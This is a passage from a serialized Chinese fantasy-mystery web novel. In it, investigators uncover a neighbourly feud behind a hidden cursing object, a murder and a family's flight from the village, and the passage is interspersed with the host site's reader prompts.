“他怎么敢的?他明知你.......”后面的话语崔进西已然哽咽得无法再说出口。 他明知你日子都过得这般艰难了,怎么还敢引诱着你做这般自毁声誉的丑事。 崔进西刚想起身的时候,余光不经意间扫过房梁,他心头猛地一震,一种异样的感觉涌上心头。 “小淇......你快去看看那房梁。” 崔小淇不明白她爹怎得突然转换了话题,甚至还让她看房梁。 那房梁上能有什么东西? 起初,由于距离较远且光线昏暗,她并没有看到什么异常之处。 但随着目光逐渐聚焦,她隐约察觉到那个地方好像真的放置着某个物件。 崔小淇搬来一张凳子,小心翼翼地踩上去,而后拿着一根长竹竿,试图将那东西捅下来。 可因着视线受阻,只能盲推着手中的竹竿。 忽然间,“啪嗒”一声脆响,一个黑影从上头快速落下。 定睛一看,只见地上直直地插着一把生满铁锈的破旧剪刀。 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第152章 厌胜之术 崔进西满脸茫然的看着那把剪刀,一时间竟忘了身上传来的阵阵剧痛。 这东西他能确定,绝不可能是自己将其放上去的。 可又有谁能在神不知鬼不觉地的情况下,潜入他家并往房梁上放此等腌臜之物? 他之前也曾听旁人提起过厌胜术,但他当时只觉得那不过是无稽之谈。 可如今细细想来,不禁感到背脊发凉。 自他爹因病离世之后,他娘便终日沉浸在悲伤之中,郁郁寡欢,没多久也随之而去。 没过几年,他妻子在怀孕期间身体一日不如一日,最终因难产撒手人寰,一并离开的还有他那尚未出世的儿子。 而唯一陪在身边的女儿,本以为给她寻了门好亲事,嫁了个好人家,却没成想在自家险些丢掉性命。 他回首这一生,扪心自问从未做过伤天害理之事,更是极少与旁人发生争执。 纵使是那大户人家的小少爷无端刁难他时,虽心有委屈,但也从未产生过要害人的心思。 “爹......这到底是什么东西啊?”崔小淇本就被唐时那厮吓破了胆,如今又被突如其来的剪刀慌了心神儿。 崔进西默默地凝视着房梁,眼神逐渐变的清明,他似乎明白了此物是何人所放。 可他太困了,眼皮沉重的几乎抬不起来,他只想好好睡上一觉。 恍惚间,一阵轻柔而熟悉的声音如同春风般拂过,“小西,别睡啦,快回家去吧。” 那是阿娘温柔的呼唤,带着无尽的慈爱与关怀。 等他再度睁开眼时,耳畔是喧闹的吆喝声,眼前是明媚的艳阳天。 他想起多年前家中曾修缮过房屋,当时请了辛家人前来帮忙。 除他们之外,没有人会有这样的机会进入自家屋子,并在房梁上放这种东西。 想到此处,崔进西心中的怒火升腾而起。 他似乎忘了自己受伤的事情,强忍着身体的不适拿起地上的剪刀,想要跑到门外去讨个说法。 可对面那一户却出奇的沉默。 不仅丝毫没有回应的意思,甚至无论他怎么辱骂,都无一人出来反驳。 若是往常的时候,只要他稍稍站在自家门口大声呼喊那么一嗓子,住在对门的辛家必然会立刻应和一声给出回应。 他不明白。 不明白辛家为什么要这么做。 难道是因为当年之事? 可当年分明只是一场意外。 冬苓将这几家的事情,言简意赅的陈叔给院中的三人听。 他们虽曾听闻过厌胜术,但却并未见人真正的实施过。 而且据他们所知,此术不仅可以害人,还可以助人。 关于此术,听过最多的便是放置铜钱、铜镜或桃人等,可崔家房梁放的却是一把剪刀。 “去对面那户看看。”江洵当机立断说道。 “可对面不是关着门么。”秦在锦抬起头来,他这刚给崔进西把伤口都包扎完。 不得不说,这老头是真的命大,这么多刀下去,居然没有一刀是伤到要害的。 “我们......貌似不是特别讲礼貌之人。”江洵说完这句就往门外走去。 傅霖跟在身后忍不住笑出了声,他觉得江洵这人是年纪越大越没素质。 二人一前一后地来到辛时年家,傅霖礼貌性的敲了敲门,而江洵则站在了一旁的院墙边。 几乎是同一时间,一个飞身而跃,翻过院墙;一个掏出工具,撬开门栓。 进入院子以后,二人发现辛时年家异常安静。 不仅没有听到有人谈话的声音,就连那院中拴着的狗都安静地趴在一处没有回头。 虽说他俩此番没有闹出多大的动静,但按常理来说,这狗也应该能发觉家中有陌生人闯进来了。 傅霖踱步走上前,只见那狗口吐白沫,四肢僵硬,显然已经死去多时。 见此情形,傅霖暗叹一声“不好”,拔腿向堂屋跑去。 而江洵依旧站在方才翻墙而入的那个位置上,眼睛直勾勾地盯着墙头。 辛家的院墙垒的并不高,只要稍稍借点力就能轻而易举地翻越过去。 而那斑驳陈旧的墙壁上,有一处并不显眼的红印。 乍一看去,像是被人踢上去的。 但走近了观察,又像是有人从远处冲刺过来,为了借力而踩上去的。 江洵靠近那处红印,伸手触摸了一下。 是血。 环视四周,辛家只有大门是从内部用门栓合上的,而堂屋及卧房等房间的门却是敞开的。 再看屋内,一副惨相映入眼帘:辛时年毫无生气地趴在血泊中,双眼瞪着,而他身体周围还散落着一地的茶叶。 “你觉得凶手会是唐振么。”江洵半蹲着身子,边观察尸体边问向傅霖。 辛时年背部连中数刀,和崔进西不同的是,其中一刀直直地插入了他的心脏部位,可谓是致命一击。 “这家里目前只有他一人,所以比起独酌,我更倾向于对酌。”傅霖回。 能让辛时年大晚上找出茶叶款待,并放心将后背交出去的人,除了父母妻儿,想来也就自幼便一起玩耍的玩伴唐振了。 本小章还未完,请点击下一页继续阅读后面精彩内容!“等下......”江洵突然说道。 “怎么了?” 江洵有些疑惑的看着眼前这具尸体,这人的手腕处,有一道触目惊心地淤青。 他记得崔进西当时为了救自家闺女,曾用凳子狠狠砸过唐振的手臂。 “他是辛时年么?”江洵喃喃自语道。 他们二人谁都没有见过辛时年和唐振的模样,就连这俩人的名字也只是从崔小淇口中听说而已。 傅霖瞬间洞悉江洵所关注的点,说道:“事不宜迟,我让崔小淇过来认人。” 话音未落,便转过身,朝着门外走去。 刚迈出几步远,那人又折回到窗户边,叮嘱着江洵:“我回来之前,这儿的东西你别乱动。” 此刻的江洵正背对着傅霖,听到这番嘱咐后,他连头都懒得回一下,只是随意地摆了摆手,表示已经知晓并会谨遵对方的要求。 可傅霖前脚走,江洵后脚就站了起来。 他方才进门之前曾留意过辛家的布局结构,依稀记得在堂屋的左侧有着一个小小的隔间。 江洵缓步朝那走去,轻轻推动那扇略显陈旧的门板。 只听得“咯吱”一声,门轴发出一阵轻微的摩擦声, 狭窄的隔间内有一座高耸的石台,台子正中央摆放着一个牌位,上面写着“辛祥光”三个字。 在石台的后方,悬挂着一幅画卷,画上是一片平静又深邃的湖泊。 而石台下放置着一个乌漆嘛黑的铁盆。 铁盆之中是几个浑身插满了银针的木偶人。 躺着的小人中有老头、老太太,还有一个腹部微微隆起的孕妇。 而站着的小人中有少女,和一个中年男人。 就在江洵想要伸手将其拿出来端详的时候,耳畔传来了傅霖气喘吁吁的声音。 “我说没说过,别乱动。” 那人是跑着回来的,他料到了江洵一点儿都不会安生。 江洵闻言,迅速转过身来,同时将双手微微举起,笑着说道:“我没乱动啊。” 傅霖见状,不由地冷哼一声,揭穿道:“我看你是没来及乱动!” 江洵无奈地耸了耸肩,然后侧过身去,让出一条通道,好让傅霖能够看清隔间里的东西。 这时,冬苓也领着崔小淇走了进来。 本以为崔小淇看到尸体时会失声尖叫,可那人的反应却是放声大笑。 只见她一边大笑着,一边还恶狠狠地冲着地上的尸体喊道:“哈哈,你也有今天啊?真是苍天有眼呐!!!!” 说完之后,她快步走上前去,抬脚对着那具尸体就是一顿猛踹。 看来江洵猜的没错,那具尸体的主人并不是辛时年,而是唐振。 那辛时年又去哪里了? 或者说,这一家子人都去了哪儿? “不知能否烦请姑娘,带我们去一趟唐振家?”江洵将目光转向崔小淇,轻声问道。 那人的情绪刚平复下来,显得有气无力地回道:“可以。” 这唐家若是没有唐振在,她也不是那么害怕回去。 几人走之前,同秦在锦打了声招呼,并叮嘱他照顾好崔进西,同时留意着点对面那户人家。 “锦哥儿又不是三岁小孩儿,你们且放心去吧。”邱漓笑道。 她同秦在锦一起留在这儿,两个人怎么说也有个照应。 唐家与崔家之间存在一定的路程,如果选择步行前往不仅会耗费大量的时间,而且以崔小淇目前受伤的身体恐难以承受。 索性就骑马过去,由冬苓带着崔小淇。 就在他们快要抵达唐家的时候,远远地便瞧见唐家那朱红色的大门微微敞开着。 当逐渐靠近时,能清晰地听到从里面传出几位妇人闲聊的话语声。 “依我看,你那儿媳妇实在是不识好歹,摊上你这么心善的婆婆,那简直是上辈子修来的福分!她居然还不满意。”其中一名妇人说道。 另一人闻言连忙附和道:“可不是嘛!要我说,她就是拿准了嫂子脾气好,才敢如此放肆!” “这种不知礼数的媳妇,就得给她立立规矩,谁家儿媳妇像她那样,一天天把“和离”二字挂嘴上!真是不像话!” 只听见一个轻柔的声音缓缓响起:“嗐!可别这么说,小淇说到底还是个孩子,她跟小振把日子过好我也就放心了,至于旁的,我不奢求。” 此刻,正站在门侧的崔小淇将这些人的闲言碎语全都一字不漏地听进了耳朵里。 若是放在前两日,她定要上去同她们争执一番。 然而,今日不同往日,她不仅没有丝毫的愤怒之意,反而觉得异常痛快。 笑吧,再多笑几声,再多说几句。 等知道唐振死去的消息以后,看你还能笑到几时。 江洵想也知道崔小淇此刻不进门的原因,她那张俏脸之上,明晃晃地挂着一副看好戏的神情。 “咚咚咚——” 可江洵没时间等她整理情绪,遂略过她抬手敲响了门。 只听得屋内传来一声回应:“门没关,进来吧。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!得到允许之后,江洵及另外两人率先迈进了院子。 刚一进门,唐母就面露诧异之色,眼神直勾勾地盯着他们三个陌生人,上下不停地打量起来。 而就在这时,崔小淇也紧跟着踏进了门槛。 在看到崔小淇以后,唐母那打量的目光瞬间变成了嫌弃,仿佛崔小淇是什么令人厌恶至极的东西一般。 但又想到此时有外人在,她迅速收起了嫌弃的表情,转而换上了一副和蔼可亲地良母模样,笑眯眯地询问崔小淇这两日去哪了。 可崔小淇根本不吃这一套,她比任何人都清楚此人是如何的惺惺作态。 “你能别装了吗?怪让人恶心的。”崔小淇冷笑道。 听到崔小淇这番毫不客气的话语,唐母的脸色变得有些难看。 还没等她发作,旁边坐着的一个婶婶倒是先按捺不住了。 “唉!你这丫头怎么跟你娘说话的?简直是有娘生没娘教。” 骂完之后,她似乎觉得还不够解气,又朝崔小淇狠狠地翻了一个大白眼。 “她一没生我、二没养我、三没照顾我,她算我哪门子的娘?再说了,我说什么又干你何事?你男人在外偷吃的事儿你还不知道吧?不然怎么有时间来挑我的不是?”崔小淇拔高声量骂道。 “你!你!”那婶婶听到后面那句话的时候,愣是气的说不出一句话来。 因为崔小淇说的没错,她丈夫这些时日确实鲜少回家,每次回来的时候都是倒头就睡。 莫说同她闲聊一二了,就连看都不看她一眼。 另一个婶婶见状,正欲开口说些什么,就被崔小淇打断了。 “你儿子天天逛赌坊这事儿你知道吗?我劝婶婶还是赶紧回家收拾东西躲债吧,不出五日那催债的就会找上门咯。” 这几人生怕再待下去,还会有什么不为人知的事情被这疯子抖落出来,连忙拿上自己的东西离开了唐家。 “你这说的都是什么话?她们可都是你的长辈!”唐母气狠狠地说道。 若不是顾及着江洵等人还在场,她恨不得拿擀面杖来敲她。 “你也闭嘴吧,你儿子死了!” 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第153章 恶意无声 崔小淇说完这话,就往屋里跑去,她得把她值钱的东西都拿走,一点儿也不给唐家留。 江洵看着崔小淇离去的背影,不禁有些感慨。 这人复杂且多面。 你若说她坚强,她却因为害怕而将受伤的父亲关在门外。 你若说她懦弱,她却能承受一家人的殴打辱骂直至今日。 你若说她洒脱,她却不敢大闹一场将所受之痛公之于众。 你若说她谨慎,她却不怕世俗偏见将这“长辈”大骂一通。 江洵无法仅凭一己之见去评判崔小淇是否为好人,因为他从未亲自经历过崔小淇的人生。 而且,崔小淇并非没有向崔进西求救,那是她的父亲,是她唯一的救命稻草,也是她相依为命的依靠。 可是,当时的崔进西没有站在她身侧,甚至没有相信她所说的话语。 或许在匕首刺进身体的那一刻,又或许在逃脱后关门的那一瞬,她脑海中想的是:门外之人都该去死。 可是,在崔进西看到她受伤的时候,会毫不犹豫地挡在她身前。 这又何尝不是一种无声的道歉? “你这疯女人,怎么能这么恶毒地咒自己丈夫????你给我站那儿!!” 在唐母想要上前拽住崔小淇头发的时候,一旁的冬苓眼疾手快地将其拦了下来。 “夫人,我们在辛时年家中发现了唐振的尸体,特意前来此地,就是想向您询问一下关于唐振的事情。” “什么??你说我儿他??”唐母一听到这句话,只觉得眼前发黑,身体晃了几晃,险些昏厥过去。 她就唐振一个孩子,那就是她的命根子! 然而此刻,他们却都说唐振死了,这叫她如何能够接受得了? 但即便心中再怎么不愿相信,唐母还是下意识地伸出双手,死死地拽住冬苓的胳膊,嘶吼道:“是谁?到底是谁杀害了我儿子!!!!” 江洵见状,有些烦躁地掰开那妇人的手,同时将冬苓护到了自己身后。 冬苓一边揉着胳膊,一边探出头来回道:“此事尚在调查之中,我们需要了解一些情况,您是否知道昨晚唐振是几时出的门?” 听到冬苓的问话,唐母稍稍平复了一下自己的心情。 过了好一会儿,她才断断续续地回答道:“大……大概是亥时吧……对,应该是亥时末!!!” 昨晚,她听到开门的声响时,还以为是崔小淇那小贱人回来了,本想出门骂她两句的时候,却发现是自家儿子出门了。 她连忙跑上前去,拉住唐振询问他这么晚了还要去哪里。 而唐振则轻声安慰她说,去接崔小淇回家,并且叮嘱她夜里天气凉,让她赶紧回到屋里休息。 想到这里,唐母哭得愈发伤心欲绝。 如今崔小淇是回来了,可她儿子呢? 江洵闻言,问道:“他中途可曾回来过?” 唐母摇了摇头,言道:“不曾。” “辛时年可曾来过这里?” “也不曾。” 这时,一直沉默不言的傅霖突然问道:“辛崔两家的关系或者说曾发生什么恩怨,您是否了解?” 唐母乍一听到这个问题,不由得愣住了。 现在不是在查她儿子的死因么?怎么又扯到那两家人身上了? “你且答便是。”傅霖略显不耐地说道。 江洵有些无奈瞥了一眼傅霖,你要问问题可以,但你也得挑个合适的时机吧。 人刚痛失爱子,哪还有心情同你说别人家的闲事? 而傅霖并没有在意唐母的感受和情绪,毕竟在他看来,唐振此人本就该死。 至于整个唐家,更是家风败坏,上梁不正下梁歪。 所以,他没必要、也不需要去体谅唐母的心情。 此事该怎么说就怎么说,该怎么办就怎么办。 唐母坐在那里,不停地抽泣着,想开口反驳一两句,可又觉得自己势单力薄,惹不起他们。 于是,她只能忍着悲痛,把自己所知道的关于辛崔两家的情况,向他们讲述了一遍。 在崔小淇年幼之时,她爷爷曾和辛时年的父亲及爷爷三人一同前去东宁城办事。 因时间紧迫,三人便选择了走水路,从镜湖经过。 出发之际,风和日丽,一路顺遂,未遭遇什么诡异之事。 待到顺利抵达东宁城后,三人才如释重负,纷纷给家中亲人写下书信,以报平安之讯。 约莫过了半月有余,所有事务皆已处理完毕,三人又一同乘船返回隅湘。 可怪就怪在,当船只缓缓行驶到湖中央时,竟然毫无征兆地戛然而止。 既非无人划动船桨所致,亦非当日无风而停滞不前,它就这样莫名其妙地定在了原地,仿佛被某种力量所禁锢着。 此时,崔进西的父亲心头涌起一股莫名的恐惧,他隐约感觉到船底似乎有一个不明物体自方才起便一直悄然尾随其后。 但是,三人谁都不敢贸然探头向下张望。 毕竟,他们也曾听闻过镜湖藏有一只湖妖,喜欢吞食过湖的行人。 这章没有结束,请点击下一页继续阅读!可这事儿,谁都没有亲眼见过啊! 再说了,他们去的时候就什么都没发生,所以便没再将此传闻放在心上。 可没过一会儿,那辛家父子没有任何预兆的站起身来,想要往湖中扑去。 崔进西的父亲见状,大惊失色,连忙伸手想要拽住他们。 奈何那辛家父子此时仿若被恶鬼附身一般,双目空洞无神,脸上却还带着一抹诡异的笑容。 尽管崔进西的父亲拼尽全力拉扯,但以他一介普通人,又如何能与那吃人不吐骨头的妖物相抗衡呢? 眼见着无法同时拦住两人,崔进西的父亲心想哪怕拦下其中一人也是好的。 于是乎,他死死抱住辛时年父亲的双腿,试图阻止其跳入湖中。 可谁曾想,就在他奋力拖住辛时年父亲之际,辛时年的爷爷已然义无反顾地一头扎入湖水之中。 那怪物似是阴谋得逞般兴奋不已,开始猛烈地摇晃起船只来。 崔进西的父亲心中大骇,唯恐船翻之后自己也会掉入湖中,无奈之下,只得双手紧紧攀住船舷, 可这样一来,辛时年的父亲便没人阻拦了。 去时三人去,归来时却只有崔进西父亲一人。 待稍稍平复心情后,他强忍着恐惧,将湖上所发生的一切原原本本地讲述给辛时年的母亲知晓。 可辛家人又怎会信,反而纷纷斥责他满口胡言乱语、荒诞不经至极! 只是没过多久,又有人因为从镜湖乘船经过而失踪了,直到这时,她们才肯相信崔进西的父亲并没有说谎。 可那又怎样呢。 为何他没有死? 为何他还活着! “所以,辛时年的母亲极有可能是故意给崔小淇做媒,促成她与唐振的婚姻。”邱漓分析道。 因为她儿子对唐振此人可谓知根知底,清楚他私下里究竟是怎样品行恶劣之人。 果不其然,当崔小淇嫁过去后不久,就遭到了唐振单方面的殴打。 而此时,辛时年再恰到好处地以邻家大哥哥的身份,送关怀,送药膏。 如此一来,孤立无援的崔小淇自然而然便会对他产生深深的信任和依赖之情。 辛家此举不仅要毁了崔小淇的婚事,还要毁了她的名声,他们要让崔小淇身败名裂,从此抬不起头来做人。 而且,只要崔小淇不忍受辱,无论是轻生自尽,还是被那唐振活活打死,只要她不在了,那崔进西也无法独活于世。 因为崔进西这么些年来,就是为了看着崔小淇长大,而麻木的活着。 “原来,这么些年过去了,他们一家竟从未有一刻原谅我们。”崔进西沙哑着声音说道。 仿佛就在一夜之间,他整个人苍老了十岁有余,像一棵耗尽了所有生机的枯树。 “可害死他们家人的又不是我爹!!想报仇也理应去找那个妖怪才对啊!”崔进西悲愤交加地怒吼道。 凭什么他们一家要平白无故地遭受这些! 他的父母身子尚且康健,可他还未来得及尽孝。 那攒了许久的银两才买下来的簪子,还未亲手送给夫人。 那即将出世的孩子,连名字都没来得及仔细斟酌。 明明人不是他爹杀得,怎得他爹反倒成了十恶不赦的罪人。 难道自保也有错吗? 难道活着就是错吗? 秦在锦凝望着辛家的木门,轻声道:“也许,也许他们并不是想要报仇,他们只是怨气无处宣泄罢了。他们气不过三人去,一人归。” 只因气不过,就日复一日的诅咒崔家,甚至不惜使用这种可能会遭到反噬的害人之术。 何等的荒谬,又是何其令人心寒发笑! 秦在锦仿佛明白了阿姐曾说的那句话:莫要让你的善良,成为滋养他人邪恶的土壤。 不是所有人都放得下,也不是所有人都输得起。 倘若不是崔进西意外地发现了那把剪刀,继而联想到当年之事,那么或许直到现在,他还被蒙在鼓里。 认不清那辛家人笑意的背后,又藏着怎样的恶意。 “要说演技好,我看那辛家才是更胜一筹啊。”江洵嘴角微,嘲讽着说道。 唐母自然听得出江洵这句话的深意,明显就是在影射她。 可她已无心去争辩这些,她只想知道自己的儿子究竟是被何人所害。 只见唐母微微抬起头,双眼泛红地看向面前的三个人,声音略带颤抖地问道:“所以,这跟我儿子的死到底有没有关系?” “唐振极有可能是被辛时年所杀,但这也只是我们的推测。”冬苓说道。 “你儿子这几日可有什么奇怪之处,你且好好想想,任何细节都不要遗漏。”傅霖插话问道。 他不认为辛时年能够在带着母亲及妻儿的情况下,没有一点痕迹地离开隅湘。 那么一来,昨晚,辛家或许真的就只有辛时年和唐振两人。 唐母眉头紧皱,开始努力回忆起儿子近日来的一举一动。 “奇怪之处......” 唐振平日的生活一直都非常规律,而这两日也并无反常的地方。 本小章还未完,请点击下一页继续阅读后面精彩内容!不对...... 像是突然想到了什么重要的事情,唐母猛地抬起头,继续说道:“小振昨天下午曾经向我索要过东院那处老宅的钥匙。” 她将钥匙给出去的同时还曾问过唐振去老宅作甚,唐振只是淡淡地说想要回去寻个东西。 可他平日里根本就不喜欢去老宅,更不可能有东西会落在那里。 但对于儿子的要求,她一向是有求必应的,所以也未曾多问。 “他昨日去了老宅。”唐母缓缓开口回道。 傅霖听闻此言,点头问道:“宅子在哪?” 唐母抬起手来,朝着街道的尽头指了指,“这条巷子走到底,倒数第二个院子就是。” “方便带我们去吗?” 傅霖这话还未问完,就被收拾好东西出来的崔小淇打断了,“我带你们去。” “那劳烦姑娘带路吧。”傅霖做了个请的手势。 走之前,江洵朝身后的冬苓打了个手势,示意她留下来盯着唐母。 唐家此时,称不上安全。 就这样把唐母一人在家中,不太妥当。 冬苓自然明白他们洵哥儿的意思,让他放心去,她自有分寸。 她知道人在描述一件陈年旧事的时候往往带有主观臆断,并且多多少少会添油加醋。 而唐母方才所说的那些话,他们可以信,但并不能全信。 这条巷子并不深,没走多远就到了唐家老宅前,而再往前走便是这村子的田地。 只是,这门半掩着,并未落锁。 崔小淇看着眼前打开的门锁,心中不禁涌起一丝疑惑。 依照唐振一贯谨慎细致的性格,走之前一定会回身检查一下有没有锁门。 除非,这宅子还有其他人进来过。 进门之后,只见那光线昏暗的堂屋内横七竖八地摆放着几根粗壮的绳索。 这些绳索的中间部位都有着明显被利刃整齐割断的痕迹,仿佛解绳之人十分着急。 正当崔小淇打算再进一步时,发现桌子旁躺着一根精致的银簪子。 她连忙蹲下身子,伸手将其轻轻拾起。 就在这时,一直跟在身后的傅霖注意到了崔小淇脸上异样的神情,开口问道:“怎么,眼熟?” “嗯。”崔小淇微微颔首,而后说道:“这支簪子与辛时年妻子头上所戴的那一支一模一样,而且这簪子她宝贝得紧。” 喜欢青山覆雪请大家收藏:()青山覆雪更新速度全网最快。 第154章 大发慈悲 “绳索和簪子……”江洵喃喃自语道。 或许辛时年的母亲及妻儿曾被唐振绑在这里一段时间,而后又被人救出。 而时间上来推测的话,约莫是在唐振得知崔小淇和辛时年有染之后。 等将人绑来此处安置好,他又趁着夜色悄悄潜入崔小淇家,持刀伤害了崔家父女。 当听到辛时年敲门的瞬间,他不单单只是怕被人发现,很可能是突然意识到自己在行凶杀人,遂立即翻墙逃出。 只是不知,他又是何时跑去的辛时年家。 此外,还有一点存疑之处。 虽说辛母及辛夫人都身为女性,可她们毕竟都是身体健全、行动自如的成年人,如若真的动手打起来,唐振未必能够轻易占据上风。 可江洵留意过唐振的尸身,除了手腕处的淤青,和身上的刀伤外并无其他明显的外伤。 “看那。” 傅霖用手肘轻撞了一下江洵的胳膊,示意他看一眼墙上的那幅画。 画被蒙上了一层厚厚的灰尘,从远处望去,看得并不是十分清晰。待仔细端详过后,依稀能辨认出所画的内容为一面湖泊。 此画倒是和辛家隔间里挂着的那幅有些相像,只是二者呈现出的角度有些不同。 江洵看着看着就不自觉的走近那画,而后,伸手轻轻地擦掉覆盖在画上的灰尘。 尘埃散去,画面变得清晰。 平静的湖泊像是突然有了生命,显得愈发幽静深邃,犹如一双眼睛正在同江洵对视着。 “江洵。” 此时,身后传来傅霖的呼唤。 听到声音后,江洵出声应道:“在呢。” 这几年来,傅霖已经摸清了江洵是什么样的人,更清楚他是什么体质。 方才不让他在辛家乱动东西,无非也是担心他冲撞了什么不干净的邪祟。 此等邪门之事之前不是没有发生过,虽说不会危及性命,招惹上身的东西也斗不过江洵,但总归他要因其吃些苦头。 他不愿江洵吃苦。 所以他得跟着、盯着、守着。 而这似乎也成了二人之间的心照不宣的暗号,倘若江洵能第一时间给出回答,说明他一切正常,没有异样。 可但凡江洵有那么一瞬迟疑,傅霖就会认为他目前所看或所触之物存在着端倪。 “镜湖?”崔小淇看着画中的景象轻声说道。 “嗯,姑娘可有什么见解?”江洵的视线从画上移开,转向崔小淇。 “见解谈不上,只是这湖……可没少害人。” “那姑娘可知,具体是从何时开始害人的?” 只见崔小淇秀眉微皱,轻咬下唇,一副沉思的样子。 这方圆十里住着的百姓都知那镜湖湖底住着一只湖妖,可若追问起究竟谁是第一个发现的人,一时之间竟还真的答不上来。 打从她记事儿起,隅湘就有这个传闻了。 在那个时候的隅湘县,人们大多安土重迁,甚少有人愿意远离家乡去闯荡江湖、见识外面的世界。 不过也有例外,当年曾有一批外省百姓迁居到隅湘生活,而唐家就是其中一户。 迁居之后没几年,这传言就出现了。 但也有人并不信鬼神,说那只是湖面上风浪过大,致使船只倾覆而已。 当然,还有人言之凿凿地声称那根本不是什么湖妖,而是前来索命的水鬼! 据说只要还没找到下一个替死鬼,这水鬼就会一直潜藏在湖水深处伺机而动。 “约莫是颂德三十年末,距今二十年前左右。”崔小淇犹豫了一下,不太确定的开口说道。 毕竟,她所了解的情况也不过是从旁人的闲言碎语中七拼八凑而来的。 “这湖既如此邪乎,为何还要画出来挂在家中呢?”傅霖的目光落在画上,略带迟疑地问道。 他不是很能理解这种做法,莫不是越害怕什么,越要直面什么? 那不妥妥的自己给自己找罪受! 没苦硬吃!跟江洵一个德行! “因为好看啊。”崔小淇想也没想的就回道。 在风和日丽、晴空万里之时,镜湖宛如一面宽广无垠的镜子,静静地镶嵌于大地之上。 彼时,天空就在水下,而水下皆是蓝天。 这个回答让傅霖无法反驳,毕竟爱美之心人皆有之,他虽不理解旁人的做法,但他得尊重。 “眼下当务之急,还是应先找到辛时年,他拖家带口的也跑不远。”江洵沉声道。 “好说,簪子借我一用。”傅霖说道。 既是辛时年夫人日日佩戴之物,那便能顺着这簪子往下寻。 若找到辛夫人,自然也能找到辛时年。 崔小淇未询问其中缘由,闻言便将手中的簪子交了出去。 只见傅霖面色平淡,右手打了一个清脆的响指。 刹那间,微弱的光芒闪过,几只伸着懒腰的小纸人出现在三人眼前。 没错,还是那几个心高气傲的小朋友,嘴里依旧是骂骂咧咧的,仿佛永远有骂不完的话。 傅霖交代它们去寻这簪子的主人,但它们却装没听见,互相推搡起来,有俩甚至直接扭打成一团,场面一度混乱不堪。 本小章还未完,请点击下一页继续阅读后面精彩内容!眼瞅着没有一个纸人将傅霖的话放在心上,甚至都没静下来听他讲话,那人终于失去耐心,烦躁的“啧”了一声。 察觉到主人心情不悦,这才一个个儿的安静了下来。 几个纸人乖巧地排着队,挨个将薄薄的纸身贴在那簪子上,像是要从中汲取些什么。 而后,纷纷点着头,表示自己记下了,这才朝傅霖和江洵挥了挥手,头也不回地飞出门外。 崔小淇看着眼前这一群小东西,不自觉地瞪大了双眼,她认为这戏法变得十分精妙,心想自己要是有这手艺,绝对可以去街上赚钱了。 等消息的这段时间,仨人也没闲着。 当然,主要是崔小淇那人没有闲着,她甚至要将唐家老宅翻了个遍。 她就是想看看这破宅子里有什么东西是值得她那婆婆惦记的,三天两头都要来这里瞅一眼,再待上半个时辰。 可这一圈儿找下来,也没发现有什么值钱的物件。 那她总是来这里做什么? 怀念往昔? 想到这儿,她情不自禁地撇了撇嘴,表示出内心的不屑。 那老太婆可不是这种多愁善感之人。 江洵就在站在窗户边儿,想要找个凳子坐下去歇会儿的时候,察觉到一丝不对劲的地方。 这屋子里大多数物件上都积满了厚厚的尘土,可偏偏有一处地方的尘土明显要比其他地方薄得多。 凳子…… 眼前那放在角落的凳子定是经常被人搬来搬去的,因为上面还存有没擦干净的脚印。 若是曾被唐振使用,那么在一天的时间内,定不会有这么明显的灰尘。 可若是长时间的不打扫,那灰也不应该只是薄薄一层。 这屋子里……还有什么地方是需要借助凳子才能看到的? 江洵绕着房子环视一圈,而后将目光停留在前方的柜子处。 难不成柜子上藏着东西? 江洵念及此处,手中没有丝毫犹豫,拖着凳子就往那处过去。 凳子腿擦过地面,发出了声响,引得另外两人循声望来。 傅霖快步走了过来,等江洵将凳子放停,他二话不说的就站了上去。 “你倒是会省事儿。”江洵笑着调侃道。 非得他什么东西都准备好了,那人跑过来横插一脚。 “那可不。”傅霖闻言,唇角勾起一抹笑意。 正当傅霖漫不经心地看向柜子顶部的瞬间,脸上的笑意戛然而止。 只见在柜子的顶部,静静地摆放着一个小孩模样的木偶,其体型小巧玲珑,大约只有手掌般大小。 而此时,那木偶正一脸严肃地盯着傅霖,仿佛是在问他:你是何人。 “有什么东西?”江洵察觉出傅霖表情的变化,赶忙问道。 傅霖看着这小东西皱着了眉头,一时间不知是该无语还是该发笑,但最终还是叹了口气,伸手上前将它拿了下来。 这应该是被人用刀一点一点精心雕刻而成,所以与其说是木偶,倒不如说它是木雕才更为贴切一些。 “这雕的是谁?”江洵出手接过,打量着问道。 “感觉和小时候的唐振有些相似。”崔小淇凑近后,盯着那木雕回道。 这木雕上的孩子,约莫只有六七岁的样子。 崔小淇曾见过那个年纪的唐振,虽说二人有些相似,但她可以肯定这并不是他。 “带回去问问。”傅霖说话间,将其从江洵手中拿了过来。 这种一看就不是很安全的东西,还是他拿着更保险一些。 “你有没有发现,它身上很干净。”江洵说道。 确实,在这个满是尘土的屋子里,它称得上是一尘不染。 好像藏它之人,一边不想被人发现它的存在,一边又三天两头的过来摸摸它。 此等心思,很难不让人猜测其背后的故事。 此时,恰好有一只纸人从窗外飞了回来。 傅霖伸出手,让它能稳稳地落在自己掌心。 它稍作停顿后,便手舞足蹈的向傅霖传递着自己发现的信息,而傅霖时不时地回一声“嗯。” 等它说完以后,又立马做了个擦汗的动作,表示自己出去一趟十分辛苦,给累着了吗。 “邀功呢这是。”江洵看它那娴熟的小动作,调侃道。 “可不是么,生怕别人不知道他是最先找到的。” “那不得夸夸它。” “有什么好夸的?” “它是第一唉。” 江洵话落,伸手摸了摸那小纸人的脑袋,被摸的纸人顿时高兴的摇头晃脑。 傅霖见状,剑眉微挑,虽觉得此举稍显幼稚,但也没有出言阻止。 辛其年一家四口目前正暂住在镜湖一畔的小客栈中,似乎是想租辆马车离开隅湘。 其实走水路更快捷一些,但辛其年不敢拿一家人的性命去赌,尤其是家中曾有人因其丧命。 他现在最后悔的是在杀完唐振以后,没有直接冲进崔家把那父女俩也一并杀了,好一了百了。 他只能期望唐振在动手之时足够凶狠,以至于那两人无法支撑到被他人察觉并施救的时候,就因伤势过重而不治身亡。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!辛母看着眼前儿失魂落魄的儿子,心头不禁涌起疼惜之情。 她在想是不是自己做错了,是不是从一开始就错了。 只因为自己那份执拗固执的偏见,从辛时年尚年幼之时,就源源不断地向他灌输害人的观念。 甚至,每天都会同他陈述一遍他爹和他爷爷是如何惨死的,而那崔家又是如何见死不救的。 